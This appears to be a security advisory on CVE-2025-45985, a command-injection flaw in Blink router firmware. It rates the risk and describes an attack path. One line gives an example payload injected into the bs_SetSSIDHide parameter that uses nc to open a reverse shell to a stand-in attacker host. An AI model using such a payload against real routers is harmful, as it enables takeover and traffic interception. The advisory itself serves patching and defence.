Bl Ac2100 Az3 Firmware CVE-2025-45985

The risk assessment across multiple dimensions is exceptionally high: (1) CVSS Vector Analysis - AV:N (network-accessible, requiring no physical proximity), AC:L (trivial exploitation complexity with no special conditions), PR:N/UI:N (no authentication or user interaction required), S:U/C:H/I:H/A:H (complete confidentiality, integrity, and availability compromise within the system scope); (2) Attack Vector - The network-accessible nature combined with no authentication requirement creates immediate risk for any internet-connected device; (3) Real-world Priority Assessment - This is NOT a theoretical high-CVSS-but-low-risk issue; command injection vulnerabilities with network accessibility and no auth are historically among the most exploited vulnerability classes (see log4j, RCE-class vulnerabilities). Consumer routers are frequently left unpatched for extended periods, making this a persistent threat. The combination of CVSS 9.8, network accessibility, and widespread consumer deployment indicates critical priority for immediate patching.

An attacker performs network reconnaissance and identifies a Blink router accessible on the internet (either through direct IP scanning or via UPnP discovery). The attacker crafts an HTTP request to the router's web management interface targeting the bs_SetSSIDHide function parameter, injecting shell metacharacters (e.g., '; nc -e /bin/sh attacker.com 4444 #' or similar command chaining syntax) into the SSID visibility parameter. Due to insufficient input validation, the injected commands execute with the router's process privileges (typically root). The attacker gains a remote shell, establishing persistence through SSH key installation, firmware modification, or DNS hijacking. From this compromised router, the attacker can intercept network traffic from connected devices, perform man-in-the-middle attacks on connected clients, pivot to other network segments, or use the router as a botnet node. The low AC:L rating means no special tooling or knowledge is required - a basic HTTP client suffices for exploitation. No user interaction or authentication is needed, making automated exploitation trivial.